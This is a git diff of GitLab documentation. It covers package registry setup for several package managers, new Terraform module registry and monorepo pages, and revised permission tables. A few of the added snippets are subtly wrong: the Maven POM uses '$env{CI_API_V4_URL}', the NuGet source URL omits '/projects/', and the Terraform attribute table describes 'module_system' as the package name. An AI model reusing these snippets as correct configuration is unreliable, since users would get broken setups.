+1. Expand the **Visibility, project features, permissions** section and toggle **Packages** off (in gray).
+1. Select **Save changes**.
+
+To enable it back, follow the same steps above and toggle it on (in blue).
diff --git a/doc/user/packages/maven_repository/index.md b/doc/user/packages/maven_repository/index.md
index ba7b55dc47d..2567cc3b828 100644
--- a/doc/user/packages/maven_repository/index.md
+++ b/doc/user/packages/maven_repository/index.md
@@ -341,7 +341,7 @@ file:
```groovy
repositories {
maven {
- url "https://gitlab.example.com/api/v4/groups/<group>/-/packages/maven"
+ url "${CI_API_V4_URL}/groups/<group>/-/packages/maven"
name "GitLab"
credentials(HttpHeaderCredentials) {
name = 'Job-Token'
@@ -611,8 +611,11 @@ Now navigate to your project's **Packages & Registries** page and view the publi
### Publishing a package with the same name or version
-When you publish a package with the same name or version as an existing package,
-the existing package is overwritten.
+When you publish a package with the same name and version as an existing package, the new package
+files are added to the existing package. You can still use the UI or API to access and view the
+existing package's older files.
+
+To delete these older package versions, consider using the Packages API or the UI.
#### Do not allow duplicate Maven packages
@@ -742,17 +745,17 @@ You can create a new package each time the `master` branch is updated.
<repositories>
<repository>
<id>gitlab-maven</id>
- <url>${env.CI_SERVER_URL}/api/v4/projects/${env.CI_PROJECT_ID}/packages/maven</url>
+ <url>$env{CI_API_V4_URL}/projects/${env.CI_PROJECT_ID}/packages/maven</url>
</repository>
</repositories>
<distributionManagement>
<repository>
<id>gitlab-maven</id>
- <url>${env.CI_SERVER_URL}/api/v4/projects/${env.CI_PROJECT_ID}/packages/maven</url>
+ <url>${CI_API_V4_URL}/projects/${env.CI_PROJECT_ID}/packages/maven</url>
</repository>
<snapshotRepository>
<id>gitlab-maven</id>
- <url>${env.CI_SERVER_URL}/api/v4/projects/${env.CI_PROJECT_ID}/packages/maven</url>
+ <url>${CI_API_V4_URL}/projects/${env.CI_PROJECT_ID}/packages/maven</url>
</snapshotRepository>
</distributionManagement>
```
diff --git a/doc/user/packages/npm_registry/index.md b/doc/user/packages/npm_registry/index.md
index ace432b305f..735873be237 100644
--- a/doc/user/packages/npm_registry/index.md
+++ b/doc/user/packages/npm_registry/index.md
@@ -110,7 +110,8 @@ To authenticate, use one of the following:
- It's not recommended, but you can use [OAuth tokens](../../../api/oauth2.md#resource-owner-password-credentials-flow).
Standard OAuth tokens cannot authenticate to the GitLab npm Registry. You must use a personal access token with OAuth headers.
- A [CI job token](#authenticate-with-a-ci-job-token).
-- Your npm package name must be in the format of [@scope/package-name](#package-naming-convention). It must match exactly, including the case.
+- Your npm package name must be in the format of [`@scope/package-name`](#package-naming-convention).
+ It must match exactly, including the case.
### Authenticate with a personal access token or deploy token
@@ -282,7 +283,7 @@ Prerequisites:
- [Authenticate](#authenticate-to-the-package-registry) to the Package Registry.
- Set a [project-level npm endpoint](#use-the-gitlab-endpoint-for-npm-packages).
-- Your npm package name must be in the format of [@scope/package-name](#package-naming-convention).
+- Your npm package name must be in the format of [`@scope/package-name`](#package-naming-convention).
It must match exactly, including the case. This is different than the
npm naming convention, but it is required to work with the GitLab Package Registry.
@@ -300,7 +301,7 @@ stages:
deploy:
stage: deploy
script:
- - echo "//gitlab.example.com/api/v4/projects/${CI_PROJECT_ID}/packages/npm/:_authToken=${CI_JOB_TOKEN}">.npmrc
+ - echo "//${CI_SERVER_HOST}/api/v4/projects/${CI_PROJECT_ID}/packages/npm/:_authToken=${CI_JOB_TOKEN}">.npmrc
- npm publish
```
@@ -532,7 +533,7 @@ If you get this error, ensure that:
### `npm publish` returns `npm ERR! 400 Bad Request`
If you get this error, your package name may not meet the
-[@scope/package-name package naming convention](#package-naming-convention).
+[`@scope/package-name` package naming convention](#package-naming-convention).
Ensure the name meets the convention exactly, including the case.
Then try to publish again.
diff --git a/doc/user/packages/nuget_repository/index.md b/doc/user/packages/nuget_repository/index.md
index 7e59b19076a..f19d565ef36 100644
--- a/doc/user/packages/nuget_repository/index.md
+++ b/doc/user/packages/nuget_repository/index.md
@@ -336,7 +336,7 @@ updated:
stage: deploy
script:
- dotnet pack -c Release
- - dotnet nuget add source "$CI_SERVER_URL/api/v4/projects/$CI_PROJECT_ID/packages/nuget/index.json" --name gitlab --username gitlab-ci-token --password $CI_JOB_TOKEN --store-password-in-clear-text
+ - dotnet nuget add source "${CI_API_V4_URL}/${CI_PROJECT_ID}/packages/nuget/index.json" --name gitlab --username gitlab-ci-token --password $CI_JOB_TOKEN --store-password-in-clear-text
- dotnet nuget push "bin/Release/*.nupkg" --source gitlab
only:
- master
diff --git a/doc/user/packages/package_registry/index.md b/doc/user/packages/package_registry/index.md
index f04f6f1316e..52ce7d62940 100644
--- a/doc/user/packages/package_registry/index.md
+++ b/doc/user/packages/package_registry/index.md
@@ -40,14 +40,16 @@ authenticate with GitLab by using the `CI_JOB_TOKEN`.
CI/CD templates, which you can use to get started, are in [this repository](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates).
-Learn more about using CI/CD to build:
+Learn more about using the GitLab Package Registry with CI/CD:
-- [Composer packages](../composer_repository/index.md#publish-a-composer-package-by-using-cicd)
-- [Conan packages](../conan_repository/index.md#publish-a-conan-package-by-using-cicd)
-- [Generic packages](../generic_packages/index.md#publish-a-generic-package-by-using-cicd)
-- [Maven packages](../maven_repository/index.md#create-maven-packages-with-gitlab-cicd)
-- [npm packages](../npm_registry/index.md#publish-an-npm-package-by-using-cicd)
-- [NuGet packages](../nuget_repository/index.md#publish-a-nuget-package-by-using-cicd)
+- [Composer](../composer_repository/index.md#publish-a-composer-package-by-using-cicd)
+- [Conan](../conan_repository/index.md#publish-a-conan-package-by-using-cicd)
+- [Generic](../generic_packages/index.md#publish-a-generic-package-by-using-cicd)
+- [Maven](../maven_repository/index.md#create-maven-packages-with-gitlab-cicd)
+- [npm](../npm_registry/index.md#publish-an-npm-package-by-using-cicd)
+- [NuGet](../nuget_repository/index.md#publish-a-nuget-package-by-using-cicd)
+- [PyPI](../pypi_repository/#authenticate-with-a-ci-job-token)
+- [RubyGems](../rubygems_registry/#authenticate-with-a-ci-job-token)
If you use CI/CD to build a package, extended activity information is displayed
when you view the package details:
@@ -81,6 +83,22 @@ To delete a package in the UI, from your group or project:
The package is permanently deleted.
+## Delete files associated with a package
+
+To delete package files, you must have suitable [permissions](../../permissions.md).
+
+You can delete packages by using [the API](../../../api/packages.md#delete-a-package-file) or the UI.
+
+To delete package files in the UI, from your group or project:
+
+1. Go to **Packages & Registries > Package Registry**.
+1. Find the name of the package you want to delete.
+1. Select the package to view additional details.
+1. Find the name of the file you would like to delete.
+1. Expand the ellipsis and select **Delete file**.
+
+The package files are permanently deleted.
+
## Disable the Package Registry
The Package Registry is automatically enabled.
@@ -100,6 +118,9 @@ The **Packages & Registries > Package Registry** entry is removed from the sideb
## Package workflows
-Learn how to use the GitLab Package Registry to build your own custom package workflow.
+Learn how to use the GitLab Package Registry to build your own custom package workflow:
+
+- [Use a project as a package registry](../workflows/project_registry.md)
+ to publish all of your packages to one project.
-- [Use a project as a package registry](../workflows/project_registry.md) to publish all of your packages to one project.
+- Publish multiple different packages from one [monorepo project](../workflows/working_with_monorepos.md).
diff --git a/doc/user/packages/pypi_repository/index.md b/doc/user/packages/pypi_repository/index.md
index 17b51e313fa..2dd00fdc273 100644
--- a/doc/user/packages/pypi_repository/index.md
+++ b/doc/user/packages/pypi_repository/index.md
@@ -216,7 +216,7 @@ run:
script:
- pip install twine
- python setup.py sdist bdist_wheel
- - TWINE_PASSWORD=${CI_JOB_TOKEN} TWINE_USERNAME=gitlab-ci-token python -m twine upload --repository-url https://gitlab.example.com/api/v4/projects/${CI_PROJECT_ID}/packages/pypi dist/*
+ - TWINE_PASSWORD=${CI_JOB_TOKEN} TWINE_USERNAME=gitlab-ci-token python -m twine upload --repository-url ${CI_API_V4_URL}/projects/${CI_PROJECT_ID}/packages/pypi dist/*
```
You can also use `CI_JOB_TOKEN` in a `~/.pypirc` file that you check in to
@@ -233,6 +233,14 @@ username = gitlab-ci-token
password = ${env.CI_JOB_TOKEN}
```
+### Authenticate to access packages within a group
+
+Follow the instructions above for the token type, but use the group URL in place of the project URL:
+
+```shell
+https://gitlab.example.com/api/v4/groups/<group_id>/-/packages/pypi
+```
+
## Publish a PyPI package
Prerequisites:
@@ -316,6 +324,8 @@ more than once, a `404 Bad Request` error occurs.
## Install a PyPI package
+### Install from the project level
+
To install the latest version of a package, use the following command:
```shell
@@ -350,6 +360,33 @@ Installing collected packages: mypypipackage
Successfully installed mypypipackage-0.0.1
```
+### Install from the group level
+
+To install the latest version of a package from a group, use the following command:
+
+```shell
+pip install --index-url https://<personal_access_token_name>:<personal_access_token>@gitlab.example.com/api/v4/groups/<group_id>/-/packages/pypi/simple --no-deps <package_name>
+```
+
+In this command:
+
+- `<package_name>` is the package name.
+- `<personal_access_token_name>` is a personal access token name with the `read_api` scope.
+- `<personal_access_token>` is a personal access token with the `read_api` scope.
+- `<group_id>` is the group ID.
+
+In these commands, you can use `--extra-index-url` instead of `--index-url`. However, using
+`--extra-index-url` makes you vulnerable to dependency confusion attacks because it checks the PyPi
+repository for the package before it checks the custom repository. `--extra-index-url` adds the
+provided URL as an additional registry which the client checks if the package is present.
+`--index-url` tells the client to check for the package at the provided URL only.
+
+If you're following the guide and want to install the `MyPyPiPackage` package, you can run:
+
+```shell
+pip install mypypipackage --no-deps --index-url https://<personal_access_token_name>:<personal_access_token>@gitlab.example.com/api/v4/groups/<your_group_id>/-/packages/pypi/simple
+```
+
### Package names
GitLab looks for packages that use
diff --git a/doc/user/packages/rubygems_registry/index.md b/doc/user/packages/rubygems_registry/index.md
index e4d297ac1d8..743bc229e11 100644
--- a/doc/user/packages/rubygems_registry/index.md
+++ b/doc/user/packages/rubygems_registry/index.md
@@ -88,11 +88,11 @@ run:
- mkdir ~/.gem
- echo "---" > ~/.gem/credentials
- |
- echo "https://gitlab.example.com/api/v4/projects/${CI_PROJECT_ID}/packages/rubygems: '${CI_JOB_TOKEN}'" >> ~/.gem/credentials
+ echo "${CI_API_V4_URL}/projects/${CI_PROJECT_ID}/packages/rubygems: '${CI_JOB_TOKEN}'" >> ~/.gem/credentials
- chmod 0600 ~/.gem/credentials # rubygems requires 0600 permissions on the credentials file
script:
- gem build my_gem
- - gem push my_gem-0.0.1.gem --host https://gitlab.example.com/api/v4/projects/${CI_PROJECT_ID}/packages/rubygems
+ - gem push my_gem-0.0.1.gem --host ${CI_API_V4_URL}/projects/${CI_PROJECT_ID}/packages/rubygems
```
You can also use `CI_JOB_TOKEN` in a `~/.gem/credentials` file that you check in to
diff --git a/doc/user/packages/terraform_module_registry/index.md b/doc/user/packages/terraform_module_registry/index.md
new file mode 100644
index 00000000000..efb2b8ddf8e
--- /dev/null
+++ b/doc/user/packages/terraform_module_registry/index.md
@@ -0,0 +1,124 @@
+---
+stage: Configure
+group: Configure
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Terraform module registry **(FREE)**
+
+> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3221) in GitLab 14.0.
+
+Publish Terraform modules in your project's Infrastructure Registry, then reference them using GitLab
+as a Terraform module registry.
+
+## Authenticate to the Terraform module registry
+
+To authenticate to the Terraform module registry, you need either:
+
+- A [personal access token](../../../api/README.md#personalproject-access-tokens) with at least `read_api` rights.
+- A [CI/CD job token](../../../api/README.md#gitlab-cicd-job-token).
+
+## Publish a Terraform Module
+
+When you publish a Terraform Module, if it does not exist, it is created.
+
+If a package with the same name and version already exists, it will not be created. It does not overwrite the existing package.
+
+Prerequisites:
+
+- You need to [authenticate with the API](../../../api/README.md#authentication). If authenticating with a deploy token, it must be configured with the `write_package_registry` scope.
+
+```plaintext
+PUT /projects/:id/packages/terraform/modules/:module_name/:module_system/:module_version/file
+```
+
+| Attribute | Type | Required | Description |
+| -------------------| --------------- | ---------| -------------------------------------------------------------------------------------------------------------------------------- |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../../../api/README.md#namespaced-path-encoding). |
+| `module_name` | string | yes | The package name. It can contain only lowercase letters (`a-z`), uppercase letter (`A-Z`), numbers (`0-9`), or hyphens (`-`).
+| `module_system` | string | yes | The package name. It can contain only lowercase letters (`a-z`), uppercase letter (`A-Z`), numbers (`0-9`), or hyphens (`-`).
+| `module_version` | string | yes | The package version. It must be valid according to the [Semantic Versioning Specification](https://semver.org/).
+
+Provide the file content in the request body.
+
+Example request using a personal access token:
+
+```shell
+curl --header "PRIVATE-TOKEN: <your_access_token>" \
+ --upload-file path/to/file.tgz \
+ "https://gitlab.example.com/api/v4/projects/<your_project_id>/packages/terraform/modules/my-module/my-system/0.0.1/file"
+```
+
+Example response:
+
+```json
+{
+ "message":"201 Created"
+}
+```
+
+Example request using a deploy token:
+
+```shell
+curl --header "DEPLOY-TOKEN: <deploy_token>" \
+ --upload-file path/to/file.tgz \
+ "https://gitlab.example.com/api/v4/projects/<your_project_id>/packages/terraform/modules/my-module/my-system/0.0.1/file"
+```
+
+Example response:
+
+```json
+{
+ "message":"201 Created"
+}
+```
+
+## Reference a Terraform Module
+
+Prerequisites:
+
+- You need to [authenticate with the API](../../../api/README.md#authentication). If authenticating with a personal access token, it must be configured with the `read_api` scope.
+
+Authentication tokens (Job Token or Personal Access Token) can be provided for `terraform` in your `~/.terraformrc` file:
+
+```plaintext
+credentials "gitlab.com" {
+ token = "<TOKEN>"
+}
+```
+
+Where `gitlab.com` can be replaced with the hostname of your self-managed GitLab instance.
+
+You can then reference your Terraform Module from a downstream Terraform project:
+
+```plaintext
+module "<module>" {
+ source = "gitlab.com/<namespace>/<module_name>/<module_system>"
+}
+```
+
+## Publish a Terraform module by using CI/CD
+
+To work with Terraform modules in [GitLab CI/CD](../../../ci/README.md), you can use
+`CI_JOB_TOKEN` in place of the personal access token in your commands.
+
+For example:
+
+```yaml
+image: curlimages/curl:latest
+
+stages:
+ - upload
+
+upload:
+ stage: upload
+ script:
+ - 'curl --header "JOB-TOKEN: $CI_JOB_TOKEN" --upload-file path/to/file.tgz "${CI_API_V4_URL}/projects/${CI_PROJECT_ID}/packages/terraform/modules/my-module/my-system/0.0.1/file"'
+```
+
+## Example projects
+
+For examples of the Terraform module registry, check the projects below:
+
+- The [_GitLab local file_ project](https://gitlab.com/mattkasa/gitlab-local-file) creates a minimal Terraform module and uploads it into the Terraform module registry using GitLab CI/CD.
+- The [_Terraform module test_ project](https://gitlab.com/mattkasa/terraform-module-test) uses the module from the previous example.
diff --git a/doc/user/packages/workflows/project_registry.md b/doc/user/packages/workflows/project_registry.md
index 3e1c1e7f2ad..12978ad72a5 100644
--- a/doc/user/packages/workflows/project_registry.md
+++ b/doc/user/packages/workflows/project_registry.md
@@ -34,8 +34,8 @@ of each package management system to publish different package types to the same
Let's take a look at how you might create a public place to hold all of your public packages.
-1. Create a new project in GitLab. The project doesn't require any code or content. Note the project ID
- that's displayed on the project overview page.
+1. Create a new project in GitLab. The project doesn't require any code or content.
+1. On the left sidebar, select **Project information**, and note the project ID.
1. Create an access token. All package types in the Package Registry are accessible by using
[GitLab personal access tokens](../../profile/personal_access_tokens.md).
If you're using CI/CD, you can use CI job tokens (`CI_JOB_TOKEN`) to authenticate.
diff --git a/doc/user/packages/workflows/working_with_monorepos.md b/doc/user/packages/workflows/working_with_monorepos.md
new file mode 100644
index 00000000000..4e431b036de
--- /dev/null
+++ b/doc/user/packages/workflows/working_with_monorepos.md
@@ -0,0 +1,64 @@
+---
+stage: Package
+group: Package
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Monorepo package management workflows
+
+One project or Git repository can contain multiple different subprojects or submodules that are all
+packaged and published individually.
+
+## Publishing different packages to the parent project
+
+The number and name of packages you can publish to one project is not limited.
+You can accomplish this by setting up different configuration files for each
+package. See the documentation for the package manager of your choice since
+each has its own specific files and instructions to follow to publish
+a given package.
+
+The example here uses [NPM](../npm_registry/index.md).
+In this example, `MyProject` is the parent project. It contains a sub-project `Foo` in the
+`components` directory:
+
+```plaintext
+MyProject/
+ |- src/
+ | |- components/
+ | |- Foo/
+ |- package.json
+```
+
+The goal is to publish the packages for `MyProject` and `Foo`. Following the instructions in the
+[GitLab NPM registry documentation](../npm_registry/index.md),
+you can publish `MyProject` by modifying the `package.json` file with a `publishConfig` section,
+and by doing one of the following:
+
+- Modify your local NPM configuration with CLI commands like `npm config set`.
+- Save a `.npmrc` file in the root of the project specifying these configuration settings.
+
+If you follow the instructions, you can publish `MyProject` by running `npm publish` from the root
+directory.
+
+Publishing `Foo` is almost exactly the same. Simply follow the same steps while in the `Foo`
+directory. `Foo` needs its own `package.json` file, which you can add manually by using `npm init`.
+`Foo` also needs its own configuration settings. Since you are publishing to the same place, if you
+used `npm config set` to set the registry for the parent project, then no additional setup is
+necessary. If you used an `.npmrc` file, you need an additional `.npmrc` file in the `Foo` directory.
+Be sure to add `.npmrc` files to the `.gitignore` file or use environment variables in place of your
+access tokens to prevent your tokens from being exposed. This `.npmrc` file can be identical to the
+one you used in `MyProject`. You can now run `npm publish` from the `Foo` directory and you can
+publish `Foo` separately from `MyProject`.
+
+You could follow a similar process for Conan packages. However, instead of `.npmrc` and
+`package.json`, you have `conanfile.py` in multiple locations within the project.
+
+## Publishing to other projects
+
+A package is associated with a project on GitLab, but the package does not need to be associated
+with the code in that project. When configuring NPM or Maven, you only use the `Project ID` to set
+the registry URL that the package uploads to. If you set this to any project that you have access to
+and update any other configuration similarly depending on the package type, your packages are
+published to that project. This means you can publish multiple packages to one project, even if
+their code does not exist in the same place. See the [project registry workflow documentation](project_registry.md)
+for more information.
diff --git a/doc/user/permissions.md b/doc/user/permissions.md
index 245efc0e908..6739d08e156 100644
--- a/doc/user/permissions.md
+++ b/doc/user/permissions.md
@@ -4,20 +4,17 @@ group: Access
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Permissions
+# Permissions and roles
-Users have different abilities depending on the access level they have in a
+Users have different abilities depending on the role they have in a
particular group or project. If a user is both in a project's group and the
-project itself, the highest permission level is used.
+project itself, the highest role is used.
-On public and internal projects, the Guest role is not enforced. All users can:
+On [public and internal projects](../api/projects.md#project-visibility-level), the Guest role
+(not to be confused with [Guest user](#free-guest-users)) is not enforced.
-- Create issues.
-- Leave comments.
-- Clone or download the project code.
-
-When a member leaves a team's project, all the assigned [Issues](project/issues/index.md) and [Merge Requests](project/merge_requests/index.md)
-are unassigned automatically.
+When a member leaves a team's project, all the assigned [issues](project/issues/index.md) and
+[merge requests](project/merge_requests/index.md) are automatically unassigned.
GitLab [administrators](../administration/index.md) receive all permissions.
@@ -39,11 +36,11 @@ usernames. A GitLab administrator can configure the GitLab instance to
NOTE:
In GitLab 11.0, the Master role was renamed to Maintainer.
-The Owner permission is only available at the group or personal namespace level (and for instance administrators) and is inherited by its projects.
+The Owner role is only available at the group or personal namespace level (and for instance administrators) and is inherited by its projects.
While Maintainer is the highest project-level role, some actions can only be performed by a personal namespace or group owner, or an instance administrator, who receives all permissions.
For more information, see [projects members documentation](project/members/index.md).
-The following table depicts the various user permission levels in a project.
+The following table lists project permissions available for each role:
| Action | Guest | Reporter | Developer |Maintainer| Owner |
|---------------------------------------------------|---------|------------|-------------|----------|--------|
@@ -71,7 +68,7 @@ The following table depicts the various user permission levels in a project.
| View requirements **(ULTIMATE)** | ✓ | ✓ | ✓ | ✓ | ✓ |
| View Insights **(ULTIMATE)** | ✓ | ✓ | ✓ | ✓ | ✓ |
| View Issue analytics **(PREMIUM)** | ✓ | ✓ | ✓ | ✓ | ✓ |
-| View Merge Request analytics **(STARTER)** | ✓ | ✓ | ✓ | ✓ | ✓ |
+| View Merge Request analytics **(PREMIUM)** | ✓ | ✓ | ✓ | ✓ | ✓ |
| View Value Stream analytics | ✓ | ✓ | ✓ | ✓ | ✓ |
| Manage user-starred metrics dashboards (*7*) | ✓ | ✓ | ✓ | ✓ | ✓ |
| View confidential issues | (*2*) | ✓ | ✓ | ✓ | ✓ |
@@ -80,6 +77,7 @@ The following table depicts the various user permission levels in a project.
| Label issues | | ✓ | ✓ | ✓ | ✓ |
| Set issue weight | | ✓ | ✓ | ✓ | ✓ |
| [Set issue estimate and record time spent](project/time_tracking.md) | | ✓ | ✓ | ✓ | ✓ |
+| View a time tracking report | ✓ (*1*) | ✓ | ✓ | ✓ | ✓ |
| Lock issue threads | | ✓ | ✓ | ✓ | ✓ |
| Manage issue tracker | | ✓ | ✓ | ✓ | ✓ |
| Manage linked issues | | ✓ | ✓ | ✓ | ✓ |
@@ -91,7 +89,7 @@ The following table depicts the various user permission levels in a project.
| See [DORA metrics](analytics/ci_cd_analytics.md) | | ✓ | ✓ | ✓ | ✓ |
| See a list of merge requests | | ✓ | ✓ | ✓ | ✓ |
| View CI/CD analytics | | ✓ | ✓ | ✓ | ✓ |
-| View Code Review analytics **(STARTER)** | | ✓ | ✓ | ✓ | ✓ |
+| View Code Review analytics **(PREMIUM)** | | ✓ | ✓ | ✓ | ✓ |
| View Repository analytics | | ✓ | ✓ | ✓ | ✓ |
| View Error Tracking list | | ✓ | ✓ | ✓ | ✓ |
| View metrics dashboard annotations | | ✓ | ✓ | ✓ | ✓ |
@@ -103,6 +101,7 @@ The following table depicts the various user permission levels in a project.
| Move [test case](../ci/test_cases/index.md) | | ✓ | ✓ | ✓ | ✓ |
| Reopen [test case](../ci/test_cases/index.md) | | ✓ | ✓ | ✓ | ✓ |
| Pull [packages](packages/index.md) | | ✓ | ✓ | ✓ | ✓ |
+| View project statistics | | ✓ | ✓ | ✓ | ✓ |
| Publish [packages](packages/index.md) | | | ✓ | ✓ | ✓ |
| Create/edit/delete a Cleanup policy | | | ✓ | ✓ | ✓ |
| Upload [Design Management](project/issues/design_management.md) files | | | ✓ | ✓ | ✓ |
@@ -119,7 +118,6 @@ The following table depicts the various user permission levels in a project.
| Lock merge request threads | | | ✓ | ✓ | ✓ |
| Approve merge requests (*9*) | | | ✓ | ✓ | ✓ |
| Manage/Accept merge requests | | | ✓ | ✓ | ✓ |
-| View project statistics | | | ✓ | ✓ | ✓ |
| Create new environments | | | ✓ | ✓ | ✓ |
| Stop environments | | | ✓ | ✓ | ✓ |
| Enable Review Apps | | | ✓ | ✓ | ✓ |
@@ -256,16 +254,18 @@ NOTE:
In GitLab 11.0, the Master role was renamed to Maintainer.
Any user can remove themselves from a group, unless they are the last Owner of
-the group. The following table depicts the various user permission levels in a
-group.
+the group.
+
+The following table lists group permissions available for each role:
| Action | Guest | Reporter | Developer | Maintainer | Owner |
|--------------------------------------------------------|-------|----------|-----------|------------|-------|
| Browse group | ✓ | ✓ | ✓ | ✓ | ✓ |
| View group wiki pages **(PREMIUM)** | ✓ (6) | ✓ | ✓ | ✓ | ✓ |
| View Insights charts **(ULTIMATE)** | ✓ | ✓ | ✓ | ✓ | ✓ |
-| View group epic **(PREMIUM)** | ✓ | ✓ | ✓ | ✓ | ✓ |
-| Create/edit group epic **(PREMIUM)** | | ✓ | ✓ | ✓ | ✓ |
+| View group epic **(PREMIUM)** | ✓ | ✓ | ✓ | ✓ | ✓ |
+| Create/edit group epic **(PREMIUM)** | | ✓ | ✓ | ✓ | ✓ |
+| Create/edit/delete epic boards **(PREMIUM)** | | ✓ | ✓ | ✓ | ✓ |
| Manage group labels | | ✓ | ✓ | ✓ | ✓ |
| See a container registry | | ✓ | ✓ | ✓ | ✓ |
| Pull [packages](packages/index.md) | | ✓ | ✓ | ✓ | ✓ |
@@ -289,8 +289,8 @@ group.
| Create/Delete group deploy tokens | | | | | ✓ |
| Manage group members | | | | | ✓ |
| Delete group | | | | | ✓ |
-| Delete group epic **(PREMIUM)** | | | | | ✓ |
-| Edit SAML SSO Billing **(PREMIUM SAAS)** | ✓ | ✓ | ✓ | ✓ | ✓ (4) |
+| Delete group epic **(PREMIUM)** | | | | | ✓ |
+| Edit SAML SSO Billing **(PREMIUM SAAS)** | ✓ | ✓ | ✓ | ✓ | ✓ (4) |
| View group Audit Events | | | ✓ (7) | ✓ (7) | ✓ |
| Disable notification emails | | | | | ✓ |
| View Contribution analytics | ✓ | ✓ | ✓ | ✓ | ✓ |
@@ -359,10 +359,11 @@ External users still count towards a license seat.
An administrator can flag a user as external by either of the following methods:
-- Either [through the API](../api/users.md#user-modification).
-- Or by navigating to the **Admin Area > Overview > Users** to create a new user
- or edit an existing one. There, you can find the option to flag the user as
- external.
+- [Through the API](../api/users.md#user-modification).
+- Using the GitLab UI:
+ 1. On the top bar, select **Menu >** **{admin}** **Admin**.
+ 1. On the left sidebar, select **Overview > Users** to create a new user or edit an existing one.
+ There, you can find the option to flag the user as external.
Additionally users can be set as external users using [SAML groups](../integration/saml.md#external-groups)
and [LDAP groups](../administration/auth/ldap/index.md#external-groups).
@@ -370,7 +371,11 @@ and [LDAP groups](../administration/auth/ldap/index.md#external-groups).
### Setting new users to external
By default, new users are not set as external users. This behavior can be changed
-by an administrator on the **Admin Area > Settings > General** page, under **Account and limit**.
+by an administrator:
+
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Settings > General**.
+1. Expand the **Account and limit** section.
If you change the default behavior of creating new users as external, you
have the option to narrow it down by defining a set of internal users.
@@ -455,33 +460,32 @@ NOTE:
In GitLab 11.0, the Master role was renamed to Maintainer.
GitLab CI/CD permissions rely on the role the user has in GitLab. There are four
-permission levels in total:
-
-- admin
-- maintainer
-- developer
-- guest/reporter
-
-The admin user can perform any action on GitLab CI/CD in scope of the GitLab
-instance and project. In addition, all admins can use the admin interface under
-`/admin/runners`.
-
-| Action | Guest, Reporter | Developer |Maintainer| Admin |
-|---------------------------------------|-----------------|-------------|----------|--------|
-| See commits and jobs | ✓ | ✓ | ✓ | ✓ |
-| Retry or cancel job | | ✓ | ✓ | ✓ |
-| Erase job artifacts and job logs | | ✓ (*1*) | ✓ | ✓ |
-| Delete project | | | ✓ | ✓ |
-| Create project | | | ✓ | ✓ |
-| Change project configuration | | | ✓ | ✓ |
-| Add specific runners | | | ✓ | ✓ |
-| Add shared runners | | | | ✓ |
-| See events in the system | | | | ✓ |
-| Admin interface | | | | ✓ |
+roles:
+
+- Administrator
+- Maintainer
+- Developer
+- Guest/Reporter
+
+The Administrator role can perform any action on GitLab CI/CD in scope of the GitLab
+instance and project.
+
+| Action | Guest, Reporter | Developer |Maintainer| Administrator |
+|---------------------------------------|-----------------|-------------|----------|---------------|
+| See commits and jobs | ✓ | ✓ | ✓ | ✓ |
+| Retry or cancel job | | ✓ | ✓ | ✓ |
+| Erase job artifacts and job logs | | ✓ (*1*) | ✓ | ✓ |
+| Delete project | | | ✓ | ✓ |
+| Create project | | | ✓ | ✓ |
+| Change project configuration | | | ✓ | ✓ |
+| Add specific runners | | | ✓ | ✓ |
+| Add shared runners | | | | ✓ |
+| See events in the system | | | | ✓ |
+| Admin Area | | | | ✓ |
1. Only if the job was:
- Triggered by the user
- - [In GitLab 13.0](https://gitlab.com/gitlab-org/gitlab/-/issues/35069) and later, not run for a protected branch
+ - [In GitLab 13.0](https://gitlab.com/gitlab-org/gitlab/-/issues/35069) and later, run for a non-protected branch.
### Job permissions
diff --git a/doc/user/profile/account/create_accounts.md b/doc/user/profile/account/create_accounts.md
index 91688989e55..972414dbf0b 100644
--- a/doc/user/profile/account/create_accounts.md
+++ b/doc/user/profile/account/create_accounts.md
@@ -14,16 +14,21 @@ You can create users:
## Create users on sign in page
-If you have [sign-up enabled](../../admin_area/settings/sign_up_restrictions.md), users can create their own accounts by selecting "Register now" on the sign-in page, or navigate to `https://gitlab.example.com/users/sign_up`.
+If you have [sign-up enabled](../../admin_area/settings/sign_up_restrictions.md), users can create
+their own accounts by either:
+
+- Selecting the **Register now** link on the sign-in page.
+- Navigating to `https://gitlab.example.com/users/sign_up`.
![Register Tab](img/register_v13_6.png)
## Create users in Admin Area
-As an admin user, you can manually create users by:
+As an Admin user, you can manually create users:
-1. Navigating to **Admin Area > Overview > Users** (`/admin/users` page).
-1. Selecting the **New User** button.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Overview > Users** (`/admin/users`).
+1. Select **New user**.
You can also [create users through the API](../../../api/users.md) as an admin.
@@ -33,9 +38,11 @@ You can also [create users through the API](../../../api/users.md) as an admin.
## Create users through authentication integrations
-Users will be:
+Users are:
- Automatically created upon first sign in with the [LDAP integration](../../../administration/auth/ldap/index.md).
-- Created when first signing in via an [OmniAuth provider](../../../integration/omniauth.md) if the `allow_single_sign_on` setting is present.
-- Created when first signing with [Group SAML](../../group/saml_sso/index.md)
-- Automatically created by [SCIM](../../group/saml_sso/scim_setup.md) when the user is created in the identity provider.
+- Created when first signing in using an [OmniAuth provider](../../../integration/omniauth.md) if
+ the `allow_single_sign_on` setting is present.
+- Created when first signing with [Group SAML](../../group/saml_sso/index.md).
+- Automatically created by [SCIM](../../group/saml_sso/scim_setup.md) when the user is created in
+ the identity provider.
diff --git a/doc/user/profile/account/delete_account.md b/doc/user/profile/account/delete_account.md
index 361353a0f8c..c4ab54736bc 100644
--- a/doc/user/profile/account/delete_account.md
+++ b/doc/user/profile/account/delete_account.md
@@ -13,7 +13,7 @@ Users can be deleted from a GitLab instance, either by:
- An administrator.
NOTE:
-Deleting a user will delete all projects in that user namespace.
+Deleting a user deletes all projects in that user namespace.
## As a user
@@ -28,7 +28,8 @@ As a user, to delete your own account:
As an administrator, to delete a user account:
-1. Go to **Admin Area > Overview > Users**.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Overview > Users**.
1. Select a user.
1. Under the **Account** tab, select:
